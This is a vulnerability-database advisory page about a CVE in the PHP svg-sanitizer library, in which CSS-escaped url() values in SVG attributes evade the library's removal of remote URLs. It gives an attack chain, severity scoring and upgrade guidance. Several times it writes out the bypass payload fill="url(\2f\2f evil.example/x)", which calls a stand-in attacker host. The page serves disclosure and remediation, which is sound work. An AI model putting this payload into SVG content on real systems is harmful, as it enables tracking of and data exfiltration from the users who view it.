Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessCraft SVG with CSS-escaped url() payload
-
DeliverySubmit to app using svg-sanitize for cleaning
-
ExploitSanitizer fails to strip escaped remote URL
-
ExecutionVictim renders stored SVG in browser
-
ImpactBrowser resolves escape and issues external request exfiltrating data
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V2 - Validation and Business Logic Input filtering completeness
|
| Exploitation Conditions | Exploitation requires an application that uses svg-sanitize version 0.5.0 through 1.0.0 to sanitize attacker-supplied SVG content, and that subsequently serves or renders that SVG to a victim. The specific trigger is a CSS escape sequence inside url() within an SVG presentation attribute (e.g. fill="url(\2f\2f evil.example/x)"), where escaped slashes evade the sanitizer's remote-URL removal. Limiting factors: the attack is not self-contained - a victim must open the sanitized SVG in a browser that resolves CSS escape sequences to remote URLs (demonstrated with Chrome), so passive user interaction is required (UI:P); impact is confined to outbound external requests and consequent data exfiltration, the extent of which depends on how the application uses the SVG; applications not using this library for SVG sanitization, or already on 1.1.0+, are unaffected. |
| Impact | This is a medium-severity (CVSS 4.0 base 5.3) information-disclosure issue, and the combined signals argue for scheduled rather than emergency remediation - consistent with the vuln.today 'this_month' decision label. The provided CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:N) shows a network-reachable, low-complexity flaw needing no attacker privileges but requiring passive victim interaction (UI:P) - the victim must render the sanitized SVG in a browser - with only low confidentiality impact and no integrity or availability impact. No EPSS score and no CISA KEV status were supplied, so there is no quantitative exploitation-probability or active-exploitation signal to weigh; absence of these is not evidence of safety but means widespread automated exploitation cannot be inferred. A public PoC reference exists in the GHSA advisory (a working SVG and reproduction steps against Chrome) but the input does not mark it as confirmed working exploit code, so treat it as a public PoC reference, not a confirmed weaponized exploit. The main risk driver is prevalence: svg-sanitize is a widely used PHP sanitization library, so many applications could inherit this bypass, but the actual impact per deployment is bounded (limited data exfiltration via outbound requests, dependent on how the SVG is used). Net: a real but moderate-priority issue, not a high-CVSS-but-illusory one, yet also not an emergency. |
| Exploit ScenarioDerived | An attacker submits an SVG whose presentation attribute uses a CSS-escaped remote URL, e.g. fill="url(\2f\2f evil.example/x)", to an application that relies on svg-sanitize (0.5.0-1.0.0) to clean untrusted SVG uploads; the escaped slashes evade the remote-URL stripping and the file is stored and served as 'safe.' When a victim later opens that SVG in a browser such as Chrome, the browser resolves the escape sequence to //evil.example and issues an external request, enabling callback/tracking and data exfiltration depending on context. A public PoC with the exact bypass payload is included in the vendor GHSA advisory. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Nov 03, 2026
SVG Sanitizer 0.5.0 through 1.0.0 fails to strip remote URLs expressed with CSS escape sequences inside url() in SVG presentation attributes, so a sanitized SVG can still cause a browser to make an outbound request when rendered. The advisory shows that fill="url(//evil.example/x)" is removed while fill="url(\2f\2f evil.example/x)" is not, which can enable data exfiltration depending on how the application uses the SVG. This is a medium-severity issue (CVSS 4.0 base 5.3) with a this-month remediation priority; CISA KEV status is not indicated in the supplied data, and a public PoC reference exists in GHSA-3vh3-jf65-656w but is not verified as working exploit code.
RemediationAI
Vendor-released patch: 1.1.0. Upgrade svg-sanitizer to 1.1.0 (enshrined/svg-sanitize 1.1.0), the fixed version identified in GHSA-3vh3-jf65-656w. No vendor-documented workaround is included in the advisory. Until the upgrade can be deployed, avoid using versions 0.5.0 through 1.0.0 to sanitize attacker-supplied SVG that will subsequently be served or rendered in a browser, since victim rendering is required for the external request; disabling or restricting that upload/display path may affect legitimate SVG features. Applications that do not use this library for SVG sanitization, or that already run 1.1.0 or later, are not affected.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
svg-sanitizer is a PHP SVG sanitization library distributed as the Composer package enshrined/svg-sanitize; it parses SVG/XML and removes unsafe elements or attributes. The root cause is CWE-791, Incomplete Filtering of Special Elements: the sanitizer's url() filtering recognizes plain remote references but not CSS escape sequences inside url() in presentation attributes such as fill. Browsers decode escapes like \2f\2f to //, turning a value such as fill="url(\2f\2f evil.example/x)" into a remote URL request. The supplied CPE is cpe:2.3:a:darylldoyle:svg-sanitizer:*:*:*:*:*:*:*:*; the advisory confirms the vulnerable range as >=0.5.0, <=1.0.0 and the fixed version as 1.1.0. Exploitation requires an application to sanitize attacker-supplied SVG with the affected library and then serve or render the output to a victim in a browser that resolves these escapes (demonstrated with Chrome). VulnCheck's tags 'Authentication Bypass' and 'Svg Sanitizer' should not be read as an authentication flaw; the advisory describes sanitizer URL-filter evasion.
Know when Svg Sanitizer gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
Attacker needs no privileges to craft the SVG (PR:N) but a victim must render it in a browser (UI:R); impact is limited outbound-request data leakage, so C:L with no I/A impact.
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
Lifecycle Timeline
1DescriptionCVE.org
svg-sanitizer from 0.5.0 before 1.1.0 contains an incomplete filtering vulnerability that allows attackers to bypass remote URL removal by using CSS escape sequences inside url() in SVG presentation attributes. Attackers can supply SVG files with attributes like fill containing escaped slashes that browsers resolve to remote URLs, triggering external requests and enabling data exfiltration.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
More in Svg Sanitizer
View allIt is possible to bypass enshrined/svg-sanitize before 0.13.1 using the "xlink:href" attribute due to mishandling of the
Algorithmic-complexity denial of service in svg-sanitizer (Composer package enshrined/svg-sanitize) versions 0.11.0 thro
CPU exhaustion in enshrined/svg-sanitize 1.0.0 occurs when removeRemoteReferences(true) is enabled: crafted SVG CSS cont
darylldoyle svg-sanitizer before 0.12.0 mishandles script and data values in attributes, as demonstrated by unexpected w
A Denial Of Service vulnerability exists in the SVG Sanitizer module through 8.x-1.0-alpha1 for Drupal because access to
svg-sanitizer 1.1.0 can fail individual PHP 8 requests when an application passes attacker-controlled SVG input that end
The SVG Sanitizer extension for TYPO3 has a cross-site scripting vulnerability in versions before 1.0.3. Rated medium se
Cross-site scripting bypass in svg-sanitizer (Composer package enshrined/svg-sanitize) 1.0.0 and earlier lets an attacke
EUVD-2026-115868
GHSA-3r85-4hm6-r357
NVD
CVE.org
Exploit-DB